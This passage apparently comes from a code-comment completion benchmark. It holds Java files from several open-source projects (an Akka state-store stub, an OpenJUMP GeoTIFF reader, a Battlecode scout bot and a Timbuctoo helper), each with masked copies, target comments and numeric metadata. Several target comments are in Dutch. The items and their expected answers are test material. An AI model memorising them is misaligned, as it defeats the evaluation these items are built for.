CompletionStage<Done> deleteObject( String persistenceId, long revision, Object changeEvent) { // implement deleteObject here return null; } /** Returns the current state for the given persistence id. */ @Override public CompletionStage<GetObjectResult<A>> getObject(String persistenceId) { // implement getObject here return null; } /** * Will persist the latest state. If it’s a new persistence id, the record will be inserted. * * <p>In case of an existing persistence id, the record will be updated only if the revision * number of the incoming record is 1 more than the already existing record. Otherwise persist * will fail. */ @Override public CompletionStage<Done> upsertObject( String persistenceId, long revision, Object value, String tag) { // implement upsertObject<SUF> return null; } /** Deprecated. Use the deleteObject overload with revision instead. */ @Override public CompletionStage<Done> deleteObject(String persistenceId) { return deleteObject(persistenceId, 0); } @Override public CompletionStage<Done> upsertObject( String persistenceId, long revision, A value, String tag, Object changeEvent) { // implement deleteObject here return null; } } // #state-store-plugin-api
False
550
6
587
5
634
6
587
5
694
6
false
false
false
false
false
true
2,911
213131_6
package com.vividsolutions.jump.workbench.imagery.geotiff; /* * The Unified Mapping Platform (JUMP) is an extensible, interactive GUI * for visualizing and manipulating spatial features with geometry and attributes. * * Copyright (C) 2003 Vivid Solutions * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * * For more information, contact: * * Vivid Solutions * Suite #1A * 2328 Government Street * Victoria BC V8T 5G5 * Canada * * (250)385-6040 * www.vividsolutions.com */ import java.awt.geom.AffineTransform; import java.util.List; import org.geotiff.image.jai.GeoTIFFDescriptor; import org.geotiff.image.jai.GeoTIFFDirectory; import org.libtiff.jai.codec.XTIFF; import org.libtiff.jai.codec.XTIFFField; import com.vividsolutions.jts.geom.Coordinate; import com.vividsolutions.jump.util.FileUtil; public class GeoTIFFRaster extends GeoReferencedRaster { private final String MSG_GENERAL = "This is not a valid GeoTIFF file."; String fileName; boolean hoPatch = false; /** * Called by Java2XML */ public GeoTIFFRaster(String imageFileLocation) throws Exception { super(imageFileLocation); fileName = imageFileLocation; registerWithJAI(); readRasterfile(); } private void registerWithJAI() { // Register the GeoTIFF descriptor with JAI. GeoTIFFDescriptor.register(); } private void parseGeoTIFFDirectory(GeoTIFFDirectory dir) throws Exception { // Find the ModelTiePoints field XTIFFField fieldModelTiePoints = dir.getField(XTIFF.TIFFTAG_GEO_TIEPOINTS); if (fieldModelTiePoints == null) throw new Exception("Missing tiepoints-tag in file.\n" + MSG_GENERAL); // Get the number of modeltiepoints // int numModelTiePoints = fieldModelTiePoints.getCount() / 6; // ToDo: alleen numModelTiePoints == 1 ondersteunen. // Map the modeltiepoints from raster to model space // Read the tiepoints setCoorRasterTiff_tiepointLT(new Coordinate(fieldModelTiePoints .getAsDouble(0), fieldModelTiePoints.getAsDouble(1), 0)); setCoorModel_tiepointLT(new Coordinate(fieldModelTiePoints.getAsDouble(3), fieldModelTiePoints.getAsDouble(4), 0)); setEnvelope(); // Find the ModelPixelScale field XTIFFField fieldModelPixelScale = dir .getField(XTIFF.TIFFTAG_GEO_PIXEL_SCALE); if (fieldModelPixelScale == null) throw new Exception("Missing pixelscale-tag in file." + "\n" + MSG_GENERAL); setDblModelUnitsPerRasterUnit_X(fieldModelPixelScale.getAsDouble(0)); setDblModelUnitsPerRasterUnit_Y(fieldModelPixelScale.getAsDouble(1)); } /** * @return filename of the tiff worldfile */ private String worldFileName() { int posDot = fileName.lastIndexOf('.'); if (posDot == -1) { posDot = fileName.length(); } return fileName.substring(0, posDot) + ".tfw"; } private void parseWorldFile() throws Exception { // Get the name of the tiff worldfile. String name = worldFileName(); // Read the tags from the tiff worldfile. List lines = FileUtil.getContents(name); double[] tags = new double[6]; for (int i = 0; i < 6; i++) { String line = (String) lines.get(i); tags[i] = Double.parseDouble(line); } setCoorRasterTiff_tiepointLT(new Coordinate(0, 0) ); setCoorModel_tiepointLT(new Coordinate(0, 0) ); setAffineTransformation(new AffineTransform(tags)); } protected void readRasterfile() throws Exception { // ImageCodec originalCodec = ImageCodec.getCodec("tiff"); super.readRasterfile(); // Get access to the tags and geokeys. // First, get the TIFF directory GeoTIFFDirectory dir = (GeoTIFFDirectory) src .getProperty("tiff.directory"); if (dir == null) throw new Exception("This is not a (geo)tiff file."); try { // Try to parse any embedded geotiff tags. parseGeoTIFFDirectory(dir); } catch (Exception E) { // Embedded geotiff tags have not been found. Try // to use a geotiff world file. try { parseWorldFile(); } catch (Exception e) { throw new Exception( "Neither geotiff tags nor valid worldfile found.\n" + MSG_GENERAL); } } } }
hastebrot/openjump-core-rels
src/com/vividsolutions/jump/workbench/imagery/geotiff/GeoTIFFRaster.java
1,617
// ToDo: alleen numModelTiePoints == 1 ondersteunen.
line_comment
nl
package com.vividsolutions.jump.workbench.imagery.geotiff; /* * The Unified Mapping Platform (JUMP) is an extensible, interactive GUI * for visualizing and manipulating spatial features with geometry and attributes. * * Copyright (C) 2003 Vivid Solutions * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * * For more information, contact: * * Vivid Solutions * Suite #1A * 2328 Government Street * Victoria BC V8T 5G5 * Canada * * (250)385-6040 * www.vividsolutions.com */ import java.awt.geom.AffineTransform; import java.util.List; import org.geotiff.image.jai.GeoTIFFDescriptor; import org.geotiff.image.jai.GeoTIFFDirectory; import org.libtiff.jai.codec.XTIFF; import org.libtiff.jai.codec.XTIFFField; import com.vividsolutions.jts.geom.Coordinate; import com.vividsolutions.jump.util.FileUtil; public class GeoTIFFRaster extends GeoReferencedRaster { private final String MSG_GENERAL = "This is not a valid GeoTIFF file."; String fileName; boolean hoPatch = false; /** * Called by Java2XML */ public GeoTIFFRaster(String imageFileLocation) throws Exception { super(imageFileLocation); fileName = imageFileLocation; registerWithJAI(); readRasterfile(); } private void registerWithJAI() { // Register the GeoTIFF descriptor with JAI. GeoTIFFDescriptor.register(); } private void parseGeoTIFFDirectory(GeoTIFFDirectory dir) throws Exception { // Find the ModelTiePoints field XTIFFField fieldModelTiePoints = dir.getField(XTIFF.TIFFTAG_GEO_TIEPOINTS); if (fieldModelTiePoints == null) throw new Exception("Missing tiepoints-tag in file.\n" + MSG_GENERAL); // Get the number of modeltiepoints // int numModelTiePoints = fieldModelTiePoints.getCount() / 6; // ToDo: alleen<SUF> // Map the modeltiepoints from raster to model space // Read the tiepoints setCoorRasterTiff_tiepointLT(new Coordinate(fieldModelTiePoints .getAsDouble(0), fieldModelTiePoints.getAsDouble(1), 0)); setCoorModel_tiepointLT(new Coordinate(fieldModelTiePoints.getAsDouble(3), fieldModelTiePoints.getAsDouble(4), 0)); setEnvelope(); // Find the ModelPixelScale field XTIFFField fieldModelPixelScale = dir .getField(XTIFF.TIFFTAG_GEO_PIXEL_SCALE); if (fieldModelPixelScale == null) throw new Exception("Missing pixelscale-tag in file." + "\n" + MSG_GENERAL); setDblModelUnitsPerRasterUnit_X(fieldModelPixelScale.getAsDouble(0)); setDblModelUnitsPerRasterUnit_Y(fieldModelPixelScale.getAsDouble(1)); } /** * @return filename of the tiff worldfile */ private String worldFileName() { int posDot = fileName.lastIndexOf('.'); if (posDot == -1) { posDot = fileName.length(); } return fileName.substring(0, posDot) + ".tfw"; } private void parseWorldFile() throws Exception { // Get the name of the tiff worldfile. String name = worldFileName(); // Read the tags from the tiff worldfile. List lines = FileUtil.getContents(name); double[] tags = new double[6]; for (int i = 0; i < 6; i++) { String line = (String) lines.get(i); tags[i] = Double.parseDouble(line); } setCoorRasterTiff_tiepointLT(new Coordinate(0, 0) ); setCoorModel_tiepointLT(new Coordinate(0, 0) ); setAffineTransformation(new AffineTransform(tags)); } protected void readRasterfile() throws Exception { // ImageCodec originalCodec = ImageCodec.getCodec("tiff"); super.readRasterfile(); // Get access to the tags and geokeys. // First, get the TIFF directory GeoTIFFDirectory dir = (GeoTIFFDirectory) src .getProperty("tiff.directory"); if (dir == null) throw new Exception("This is not a (geo)tiff file."); try { // Try to parse any embedded geotiff tags. parseGeoTIFFDirectory(dir); } catch (Exception E) { // Embedded geotiff tags have not been found. Try // to use a geotiff world file. try { parseWorldFile(); } catch (Exception e) { throw new Exception( "Neither geotiff tags nor valid worldfile found.\n" + MSG_GENERAL); } } } }
False
1,288
17
1,372
18
1,413
14
1,372
18
1,643
19
false
false
false
false
false
true
613
151940_43
package team181_alpha; import java.util.ArrayList; import java.util.Arrays; import battlecode.common.Clock; import battlecode.common.Direction; import battlecode.common.GameActionException; import battlecode.common.GameConstants; import battlecode.common.MapLocation; import battlecode.common.RobotInfo; import battlecode.common.RobotType; import battlecode.common.Signal; import battlecode.common.Team; import team181_alpha.*; public class ScoutClass extends RobotPlayer { // Get the maximum number of tiles in one direction away in sensor radius static int myDv = (int) Math.floor(Math.sqrt(myRobotType.sensorRadiusSquared)); static Direction[] cardinals = { Direction.NORTH, Direction.EAST, Direction.SOUTH, Direction.WEST }; static boolean[] haveOffsets = { false, false, false, false }; static Direction currentExploreDirection = Direction.NORTH; static int numExploredDirections = 0; static boolean haveBroadCastedMapBounds = false; static ArrayList<MapLocation> knownDens = new ArrayList<MapLocation>();; static int numKnownDens = 0; // Enclosure for all of the exploration functions static class Exploration { // Dumb help function, please kill me and replace with a map public static int returnCardinalIndex(Direction dir) throws GameActionException { // Switch because no associative arrays, could map this instead, but // that might cost more switch (dir) { case NORTH: return 0; case EAST: return 1; case SOUTH: return 2; case WEST: return 3; default: GameActionException e = new GameActionException(null, "Not a valid cardinal direction."); throw e; } } // Given a direction, try to move that way, but avoid taking damage or // going far into enemy LOF. // General Scout exploration driver. // Don't let scout get stuck in concave areas, or near swarms of allies. public static void explore(Direction dirToMove) throws GameActionException { if (rc.isCoreReady()) { if (nearbyEnemies.length == 0) { // There are no known enemy threats if (rc.canMove(dirToMove)) { rc.move(dirToMove); } else if (rc.canMove(dirToMove.rotateLeft())) { rc.move(dirToMove.rotateLeft()); } else if (rc.canMove(dirToMove.rotateRight())) { rc.move(dirToMove.rotateRight()); } } else { // There are enemies within sight! // Calculate least risking direction to move MapLocation currLoc = rc.getLocation(); double leastRisk = Double.MAX_VALUE; // risks[0]; Direction leastRiskyDirection = Direction.NONE; Direction[] allDirs = Direction.values(); MapLocation goalLoc = currLoc.add(dirToMove); MapLocation leastRiskyLoc = goalLoc; double[] risks = new double[allDirs.length]; for (int i = 0; i < allDirs.length; i++) { // Check if can move in this direction Direction currDir = allDirs[i]; if (rc.canMove(currDir)) { // Can move in this direction // Check attack risk value MapLocation nextLoc = currLoc.add(currDir); double risk = attackRisk(nextLoc); risks[i] = risk; // System.out.println("At location" + // currLoc.toString() + " risk in direction " + // currDir.toString() + " is: " + // Double.toString(risk)); // Is this better? // Bias towards moving the same direction, dirToMove if (currDir.equals(dirToMove) && risk <= leastRisk) { // At least as good leastRisk = risk; leastRiskyDirection = dirToMove; leastRiskyLoc = nextLoc; } else if (risk < leastRisk) { // Better leastRisk = risk; leastRiskyDirection = allDirs[i]; leastRiskyLoc = nextLoc; } else if (risk == leastRisk && (goalLoc.distanceSquaredTo(nextLoc) < goalLoc .distanceSquaredTo(leastRiskyLoc))) { // Equally as good but closer to the original // dirToMove direction leastRisk = risk; leastRiskyDirection = allDirs[i]; leastRiskyLoc = nextLoc; } } } if (!leastRiskyDirection.equals(Direction.NONE)) { // rc.setIndicatorString(2, "Retreating towards: " + // leastRiskyDirection.toString()); rc.setIndicatorString(2, "Risk this turn is: " + Arrays.toString(risks)); rc.move(leastRiskyDirection); } } } } /* * Calculation the Attack risk value of moving to this location given * the direction. * * Attack risk is currently the count of the number of enemies which * will be within attack range of this location Ideal attack risk is 0 * (no risk of attack). * */ public static double attackRisk(MapLocation loc) { if (nearbyEnemies.length > 0) { double totalRisk = 0.0; for (RobotInfo r : nearbyEnemies) { MapLocation enemyLoc = r.location; RobotType enemyType = r.type; int distAway = loc.distanceSquaredTo(enemyLoc); int offsetBlocks = 2; int offsetSquared = offsetBlocks * offsetBlocks; int safeDist = (enemyType.attackRadiusSquared+offsetSquared); if (enemyType.equals(RobotType.TURRET)) { safeDist = RobotType.TURRET.sensorRadiusSquared + offsetSquared; } if (distAway <= safeDist) { // If enemy has 0 attack power then risk = 0 // If Core delay is 0 then risk = numerator, and will be // divided by each turn/core delay double risk = ((safeDist - distAway) * r.attackPower) / (r.weaponDelay + 1.0); totalRisk += risk; } } // rc.setIndicatorString(2, "Risk this turn is: " + // Double.toString(totalRisk)); // System.out.println("The total risk for possible location " + loc.toString() + " was: " // + Double.toString(totalRisk)); return totalRisk; } else { return 0.0; } } // Tells us if a point in a given cardinal direction at our maximum // sight // range is on the map // This should only take in north,south,east,west public static boolean checkCardinalOnMap(Direction dir) throws GameActionException { MapLocation offsetLocation = rc.getLocation().add(dir, myDv); rc.setIndicatorDot(offsetLocation, 255, 80, 80); boolean onMap = rc.onTheMap(offsetLocation); rc.setIndicatorString(0, dir.toString() + " point on map?: " + Boolean.toString(onMap)); return onMap; } // This function sets the value of a given direction bound, if it can at // all // this round. // Call this after checkCardinalOnMap returns false. public static void findExactOffset(Direction dir) throws GameActionException { for (int i = myDv; i > 0; i--) { MapLocation temp = rc.getLocation().add(dir, i); if (rc.onTheMap(temp)) { int bound = (dir == Direction.NORTH || dir == Direction.SOUTH) ? temp.y : temp.x; setMapBound(dir, bound); haveOffsets[returnCardinalIndex(dir)] = true; // rc.setIndicatorString(0, dir.toString() + " bound value // is : // " + Integer.toString(offsets[returnCardinalIndex(dir)])); numExploredDirections++; break; } } } public static void broadcastMapBounds() throws GameActionException { int distToNearestArchon = nearestArchon.distanceSquaredTo(rc.getLocation()); rc.broadcastMessageSignal(messageConstants.SMBN, Messaging.adjustBound(northBound), distToNearestArchon); rc.broadcastMessageSignal(messageConstants.SMBE, Messaging.adjustBound(eastBound), distToNearestArchon); rc.broadcastMessageSignal(messageConstants.SMBS, Messaging.adjustBound(southBound), distToNearestArchon); rc.broadcastMessageSignal(messageConstants.SMBW, Messaging.adjustBound(westBound), distToNearestArchon); haveBroadCastedMapBounds = true; } public static void tryExplore() throws GameActionException { // If we have not found every bound if (numExploredDirections != 4 && allBoundsSet != true) { // If we don't already have a bound for this direction if (!haveOffsets[returnCardinalIndex(currentExploreDirection)]) { // If we go off the map in sight range for the given // direction, // we can get the offset if (!checkCardinalOnMap(currentExploreDirection)) { findExactOffset(currentExploreDirection); currentExploreDirection = cardinals[numExploredDirections % 4]; // Otherwise go explore in that direction. } else { explore(currentExploreDirection); } } } else if (!haveBroadCastedMapBounds) { broadcastMapBounds(); } else { explore(Movement.randomDirection()); } } } static class ScoutMessaging { public static void handleMessageQueue() throws GameActionException { // SUPER Messaging.handleMessageQueue(); // currentSignals[] is now set for this round. Overflow may cause // problems. if (currentSignals.length > 0) { for (Signal signal : currentSignals) { MapLocation loc = signal.getLocation(); int msg1 = signal.getMessage()[0]; int msg2 = signal.getMessage()[1]; switch (msg1) { // Handle Scout messages that about map bounds case messageConstants.SMBN: case messageConstants.AMBN: // Set map bounds msg2 = Messaging.adjustBound(msg2); setMapBound(Direction.NORTH, msg2); break; case messageConstants.SMBE: case messageConstants.AMBE: msg2 = Messaging.adjustBound(msg2); setMapBound(Direction.EAST, msg2); break; case messageConstants.SMBS: case messageConstants.AMBS: msg2 = Messaging.adjustBound(msg2); setMapBound(Direction.SOUTH, msg2); break; case messageConstants.SMBW: case messageConstants.AMBW: msg2 = Messaging.adjustBound(msg2); setMapBound(Direction.WEST, msg2); break; } } } } } public static void reportDens() throws GameActionException { int distToNearestArchon = nearestArchon.distanceSquaredTo(rc.getLocation()); for (RobotInfo robot : nearbyEnemies) { // TODO: // Also check if the den exists in out list of knownDens if (robot.type == RobotType.ZOMBIEDEN) { // Check known dens so we don't add duplicates boolean wasDuplicate = false; for (MapLocation den : knownDens) { if ((den.x == robot.location.x && den.y == robot.location.y)) { wasDuplicate = true; continue; } } // If it was a duplicate, go to next robot and don't broadcast if (wasDuplicate) { continue; } else { // Otherwise we are dealing with a new den. knownDens.add(new MapLocation(robot.location.x, robot.location.y)); } rc.broadcastMessageSignal(messageConstants.DENX, Messaging.adjustBound(robot.location.x), distToNearestArchon); rc.broadcastMessageSignal(messageConstants.DENY, Messaging.adjustBound(robot.location.y), distToNearestArchon); rc.setIndicatorString(2, "I transmitted denLocation this turn"); } } } // Given a direction, try to move that way, but avoid taking damage or going // far into enemy LOF. // General Scout exploration driver. // Don't let scout get stuck in concave areas, or near swarms of allies. public static void pathDirectionAvoidEnemies(Direction dir) { } public static void run() { while (true) { try { Debug.emptyIndicatorStrings(); Sensing.updateNearbyEnemies(); ScoutMessaging.handleMessageQueue(); // If we have found every bound if (numExploredDirections == 4 || allBoundsSet == true) { reportDens(); } // Wander out into the wilderness // find anything of interest // report back to archons when we have enough data // Give report, follow squad that gets deployed // Constantly broadcast to squad attack info // Signal troops to retreat when attack is done, or failed, or // when reinforcements are needed, // or when zombie spawn is upcoming Exploration.tryExplore(); Clock.yield(); } catch (Exception e) { System.out.println(e.getMessage()); e.printStackTrace(); } } } }
Glavin001/battlecode
src/team181_alpha/ScoutClass.java
3,877
// Set map bounds
line_comment
nl
package team181_alpha; import java.util.ArrayList; import java.util.Arrays; import battlecode.common.Clock; import battlecode.common.Direction; import battlecode.common.GameActionException; import battlecode.common.GameConstants; import battlecode.common.MapLocation; import battlecode.common.RobotInfo; import battlecode.common.RobotType; import battlecode.common.Signal; import battlecode.common.Team; import team181_alpha.*; public class ScoutClass extends RobotPlayer { // Get the maximum number of tiles in one direction away in sensor radius static int myDv = (int) Math.floor(Math.sqrt(myRobotType.sensorRadiusSquared)); static Direction[] cardinals = { Direction.NORTH, Direction.EAST, Direction.SOUTH, Direction.WEST }; static boolean[] haveOffsets = { false, false, false, false }; static Direction currentExploreDirection = Direction.NORTH; static int numExploredDirections = 0; static boolean haveBroadCastedMapBounds = false; static ArrayList<MapLocation> knownDens = new ArrayList<MapLocation>();; static int numKnownDens = 0; // Enclosure for all of the exploration functions static class Exploration { // Dumb help function, please kill me and replace with a map public static int returnCardinalIndex(Direction dir) throws GameActionException { // Switch because no associative arrays, could map this instead, but // that might cost more switch (dir) { case NORTH: return 0; case EAST: return 1; case SOUTH: return 2; case WEST: return 3; default: GameActionException e = new GameActionException(null, "Not a valid cardinal direction."); throw e; } } // Given a direction, try to move that way, but avoid taking damage or // going far into enemy LOF. // General Scout exploration driver. // Don't let scout get stuck in concave areas, or near swarms of allies. public static void explore(Direction dirToMove) throws GameActionException { if (rc.isCoreReady()) { if (nearbyEnemies.length == 0) { // There are no known enemy threats if (rc.canMove(dirToMove)) { rc.move(dirToMove); } else if (rc.canMove(dirToMove.rotateLeft())) { rc.move(dirToMove.rotateLeft()); } else if (rc.canMove(dirToMove.rotateRight())) { rc.move(dirToMove.rotateRight()); } } else { // There are enemies within sight! // Calculate least risking direction to move MapLocation currLoc = rc.getLocation(); double leastRisk = Double.MAX_VALUE; // risks[0]; Direction leastRiskyDirection = Direction.NONE; Direction[] allDirs = Direction.values(); MapLocation goalLoc = currLoc.add(dirToMove); MapLocation leastRiskyLoc = goalLoc; double[] risks = new double[allDirs.length]; for (int i = 0; i < allDirs.length; i++) { // Check if can move in this direction Direction currDir = allDirs[i]; if (rc.canMove(currDir)) { // Can move in this direction // Check attack risk value MapLocation nextLoc = currLoc.add(currDir); double risk = attackRisk(nextLoc); risks[i] = risk; // System.out.println("At location" + // currLoc.toString() + " risk in direction " + // currDir.toString() + " is: " + // Double.toString(risk)); // Is this better? // Bias towards moving the same direction, dirToMove if (currDir.equals(dirToMove) && risk <= leastRisk) { // At least as good leastRisk = risk; leastRiskyDirection = dirToMove; leastRiskyLoc = nextLoc; } else if (risk < leastRisk) { // Better leastRisk = risk; leastRiskyDirection = allDirs[i]; leastRiskyLoc = nextLoc; } else if (risk == leastRisk && (goalLoc.distanceSquaredTo(nextLoc) < goalLoc .distanceSquaredTo(leastRiskyLoc))) { // Equally as good but closer to the original // dirToMove direction leastRisk = risk; leastRiskyDirection = allDirs[i]; leastRiskyLoc = nextLoc; } } } if (!leastRiskyDirection.equals(Direction.NONE)) { // rc.setIndicatorString(2, "Retreating towards: " + // leastRiskyDirection.toString()); rc.setIndicatorString(2, "Risk this turn is: " + Arrays.toString(risks)); rc.move(leastRiskyDirection); } } } } /* * Calculation the Attack risk value of moving to this location given * the direction. * * Attack risk is currently the count of the number of enemies which * will be within attack range of this location Ideal attack risk is 0 * (no risk of attack). * */ public static double attackRisk(MapLocation loc) { if (nearbyEnemies.length > 0) { double totalRisk = 0.0; for (RobotInfo r : nearbyEnemies) { MapLocation enemyLoc = r.location; RobotType enemyType = r.type; int distAway = loc.distanceSquaredTo(enemyLoc); int offsetBlocks = 2; int offsetSquared = offsetBlocks * offsetBlocks; int safeDist = (enemyType.attackRadiusSquared+offsetSquared); if (enemyType.equals(RobotType.TURRET)) { safeDist = RobotType.TURRET.sensorRadiusSquared + offsetSquared; } if (distAway <= safeDist) { // If enemy has 0 attack power then risk = 0 // If Core delay is 0 then risk = numerator, and will be // divided by each turn/core delay double risk = ((safeDist - distAway) * r.attackPower) / (r.weaponDelay + 1.0); totalRisk += risk; } } // rc.setIndicatorString(2, "Risk this turn is: " + // Double.toString(totalRisk)); // System.out.println("The total risk for possible location " + loc.toString() + " was: " // + Double.toString(totalRisk)); return totalRisk; } else { return 0.0; } } // Tells us if a point in a given cardinal direction at our maximum // sight // range is on the map // This should only take in north,south,east,west public static boolean checkCardinalOnMap(Direction dir) throws GameActionException { MapLocation offsetLocation = rc.getLocation().add(dir, myDv); rc.setIndicatorDot(offsetLocation, 255, 80, 80); boolean onMap = rc.onTheMap(offsetLocation); rc.setIndicatorString(0, dir.toString() + " point on map?: " + Boolean.toString(onMap)); return onMap; } // This function sets the value of a given direction bound, if it can at // all // this round. // Call this after checkCardinalOnMap returns false. public static void findExactOffset(Direction dir) throws GameActionException { for (int i = myDv; i > 0; i--) { MapLocation temp = rc.getLocation().add(dir, i); if (rc.onTheMap(temp)) { int bound = (dir == Direction.NORTH || dir == Direction.SOUTH) ? temp.y : temp.x; setMapBound(dir, bound); haveOffsets[returnCardinalIndex(dir)] = true; // rc.setIndicatorString(0, dir.toString() + " bound value // is : // " + Integer.toString(offsets[returnCardinalIndex(dir)])); numExploredDirections++; break; } } } public static void broadcastMapBounds() throws GameActionException { int distToNearestArchon = nearestArchon.distanceSquaredTo(rc.getLocation()); rc.broadcastMessageSignal(messageConstants.SMBN, Messaging.adjustBound(northBound), distToNearestArchon); rc.broadcastMessageSignal(messageConstants.SMBE, Messaging.adjustBound(eastBound), distToNearestArchon); rc.broadcastMessageSignal(messageConstants.SMBS, Messaging.adjustBound(southBound), distToNearestArchon); rc.broadcastMessageSignal(messageConstants.SMBW, Messaging.adjustBound(westBound), distToNearestArchon); haveBroadCastedMapBounds = true; } public static void tryExplore() throws GameActionException { // If we have not found every bound if (numExploredDirections != 4 && allBoundsSet != true) { // If we don't already have a bound for this direction if (!haveOffsets[returnCardinalIndex(currentExploreDirection)]) { // If we go off the map in sight range for the given // direction, // we can get the offset if (!checkCardinalOnMap(currentExploreDirection)) { findExactOffset(currentExploreDirection); currentExploreDirection = cardinals[numExploredDirections % 4]; // Otherwise go explore in that direction. } else { explore(currentExploreDirection); } } } else if (!haveBroadCastedMapBounds) { broadcastMapBounds(); } else { explore(Movement.randomDirection()); } } } static class ScoutMessaging { public static void handleMessageQueue() throws GameActionException { // SUPER Messaging.handleMessageQueue(); // currentSignals[] is now set for this round. Overflow may cause // problems. if (currentSignals.length > 0) { for (Signal signal : currentSignals) { MapLocation loc = signal.getLocation(); int msg1 = signal.getMessage()[0]; int msg2 = signal.getMessage()[1]; switch (msg1) { // Handle Scout messages that about map bounds case messageConstants.SMBN: case messageConstants.AMBN: // Set map<SUF> msg2 = Messaging.adjustBound(msg2); setMapBound(Direction.NORTH, msg2); break; case messageConstants.SMBE: case messageConstants.AMBE: msg2 = Messaging.adjustBound(msg2); setMapBound(Direction.EAST, msg2); break; case messageConstants.SMBS: case messageConstants.AMBS: msg2 = Messaging.adjustBound(msg2); setMapBound(Direction.SOUTH, msg2); break; case messageConstants.SMBW: case messageConstants.AMBW: msg2 = Messaging.adjustBound(msg2); setMapBound(Direction.WEST, msg2); break; } } } } } public static void reportDens() throws GameActionException { int distToNearestArchon = nearestArchon.distanceSquaredTo(rc.getLocation()); for (RobotInfo robot : nearbyEnemies) { // TODO: // Also check if the den exists in out list of knownDens if (robot.type == RobotType.ZOMBIEDEN) { // Check known dens so we don't add duplicates boolean wasDuplicate = false; for (MapLocation den : knownDens) { if ((den.x == robot.location.x && den.y == robot.location.y)) { wasDuplicate = true; continue; } } // If it was a duplicate, go to next robot and don't broadcast if (wasDuplicate) { continue; } else { // Otherwise we are dealing with a new den. knownDens.add(new MapLocation(robot.location.x, robot.location.y)); } rc.broadcastMessageSignal(messageConstants.DENX, Messaging.adjustBound(robot.location.x), distToNearestArchon); rc.broadcastMessageSignal(messageConstants.DENY, Messaging.adjustBound(robot.location.y), distToNearestArchon); rc.setIndicatorString(2, "I transmitted denLocation this turn"); } } } // Given a direction, try to move that way, but avoid taking damage or going // far into enemy LOF. // General Scout exploration driver. // Don't let scout get stuck in concave areas, or near swarms of allies. public static void pathDirectionAvoidEnemies(Direction dir) { } public static void run() { while (true) { try { Debug.emptyIndicatorStrings(); Sensing.updateNearbyEnemies(); ScoutMessaging.handleMessageQueue(); // If we have found every bound if (numExploredDirections == 4 || allBoundsSet == true) { reportDens(); } // Wander out into the wilderness // find anything of interest // report back to archons when we have enough data // Give report, follow squad that gets deployed // Constantly broadcast to squad attack info // Signal troops to retreat when attack is done, or failed, or // when reinforcements are needed, // or when zombie spawn is upcoming Exploration.tryExplore(); Clock.yield(); } catch (Exception e) { System.out.println(e.getMessage()); e.printStackTrace(); } } } }
False
2,890
4
3,132
4
3,317
4
3,129
4
3,843
4
false
false
false
false
false
true
290
52977_0
package nl.knaw.huygens.timbuctoo.core.dto; import com.fasterxml.jackson.databind.JsonNode; import javaslang.control.Try; import nl.knaw.huygens.timbuctoo.core.dto.dataset.Collection; import nl.knaw.huygens.timbuctoo.model.properties.ReadableProperty; import org.apache.tinkerpop.gremlin.process.traversal.dsl.graph.GraphTraversal; import org.apache.tinkerpop.gremlin.process.traversal.dsl.graph.GraphTraversalSource; import org.apache.tinkerpop.gremlin.structure.Vertex; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.util.Optional; import static nl.knaw.huygens.timbuctoo.logging.Logmarkers.databaseInvariant; public class DisplayNameHelper { private static final Logger LOG = LoggerFactory.getLogger(DisplayNameHelper.class); public static Optional<String> getDisplayname(GraphTraversalSource traversalSource, Vertex vertex, Collection targetCollection) { ReadableProperty displayNameProperty = targetCollection.getDisplayName(); if (displayNameProperty != null) { GraphTraversal<Vertex, Try<JsonNode>> displayNameGetter = traversalSource.V(vertex.id()).union( targetCollection.getDisplayName().traversalJson() ); if (displayNameGetter.hasNext()) { Try<JsonNode> traversalResult = displayNameGetter.next(); if (!traversalResult.isSuccess()) { LOG.debug(databaseInvariant, "Retrieving displayname failed", traversalResult.getCause()); } else { if (traversalResult.get() == null) { LOG.debug(databaseInvariant, "Displayname was null"); } else { if (!traversalResult.get().isTextual()) { LOG.debug(databaseInvariant, "Displayname was not a string but " + traversalResult.get().toString()); } else { return Optional.of(traversalResult.get().asText()); } } } } else { LOG.debug(databaseInvariant, "Displayname traversal resulted in no results: " + displayNameGetter); } } else { LOG.debug("No displayname configured for " + targetCollection.getEntityTypeName()); //FIXME: deze wordt gegooid tijdens de finish. da's raar } return Optional.empty(); } }
CLARIAH/timbuctoo
timbuctoo-instancev4/src/main/java/nl/knaw/huygens/timbuctoo/core/dto/DisplayNameHelper.java
674
//FIXME: deze wordt gegooid tijdens de finish. da's raar
line_comment
nl
package nl.knaw.huygens.timbuctoo.core.dto; import com.fasterxml.jackson.databind.JsonNode; import javaslang.control.Try; import nl.knaw.huygens.timbuctoo.core.dto.dataset.Collection; import nl.knaw.huygens.timbuctoo.model.properties.ReadableProperty; import org.apache.tinkerpop.gremlin.process.traversal.dsl.graph.GraphTraversal; import org.apache.tinkerpop.gremlin.process.traversal.dsl.graph.GraphTraversalSource; import org.apache.tinkerpop.gremlin.structure.Vertex; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.util.Optional; import static nl.knaw.huygens.timbuctoo.logging.Logmarkers.databaseInvariant; public class DisplayNameHelper { private static final Logger LOG = LoggerFactory.getLogger(DisplayNameHelper.class); public static Optional<String> getDisplayname(GraphTraversalSource traversalSource, Vertex vertex, Collection targetCollection) { ReadableProperty displayNameProperty = targetCollection.getDisplayName(); if (displayNameProperty != null) { GraphTraversal<Vertex, Try<JsonNode>> displayNameGetter = traversalSource.V(vertex.id()).union( targetCollection.getDisplayName().traversalJson() ); if (displayNameGetter.hasNext()) { Try<JsonNode> traversalResult = displayNameGetter.next(); if (!traversalResult.isSuccess()) { LOG.debug(databaseInvariant, "Retrieving displayname failed", traversalResult.getCause()); } else { if (traversalResult.get() == null) { LOG.debug(databaseInvariant, "Displayname was null"); } else { if 